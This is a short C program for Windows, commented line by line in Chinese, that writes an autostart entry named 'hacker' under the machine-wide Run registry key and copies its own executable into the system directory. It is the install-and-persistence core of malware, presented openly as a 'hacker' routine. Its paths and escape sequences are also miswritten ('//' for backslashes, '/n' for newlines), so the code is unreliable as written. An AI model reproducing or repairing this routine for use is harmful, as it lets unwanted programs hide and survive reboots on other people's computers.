#include <stdio.h> #include <windows.h> int main(void) { char regname[]="Software//Microsoft//Windows//CurrentVersion//Run"; HKEY hkResult; int ret=RegOpenKey(//打开一个现有的注册表项 HKEY_LOCAL_MACHINE,//一个已打开项的句柄,或指一个标准项名 regname,//要打开的项名 &hkResult);//指定一个变量,用于装载(保存)打开注册表项的一个句柄 ret=RegSetValueEx(//设置指定项的值 , 返回值:零表示成功。其他任何值都代表一个错误代码 hkResult,//一个已打开项的句柄,或指定一个标准项名 "hacker"/* 注册表键名*/, 0,//未用,设为零 REG_EXPAND_SZ,//要设置的数量类型 (unsigned char *)"%systemroot%//hacker.exe",//包含数据的缓冲区中的第一个字节 25);//lpData缓冲区的长度 if(ret==0){ printf("success to write run key/n"); RegCloseKey(hkResult);//释放指定注册键的句柄 } else { printf("failed to open regedit.%d/n",ret); return 0; } char modlepath[256]; char syspath[256]; GetModuleFileName(0,//装载一个程序实例的句柄。如果该参数为NULL,该函数返回该当前应用程序全路径。 modlepath,//是你存放返回的名字的内存块的指针,是一个输出参数 256);//装载到缓冲区lpFileName的最大值 //取得程序名字 GetSystemDirectory(//这个函数能取得Windows系统目录(System目录)的完整路径名。 syspath,//用于装载系统目录路径名的一个字串缓冲区。它应事先初始化成nSize+1个字符的长度。通常至少要为这个缓冲区分配MAX_PATH个字符的长度 256);//lpBuffer字串的最大长度 ret=CopyFile(//复制文件 modlepath,//源文件名 strcat(syspath,"//hacker.exe"),//目标文件名 1);//如果设为TRUE(非零),那么一旦目标文件已经存在,则函数调用会失败。否则目标文件被改写 if(ret) { printf("%s has been copyed to sys dir %s/n",modlepath,syspath); } else printf("%s is exisis",modlepath); return 0; }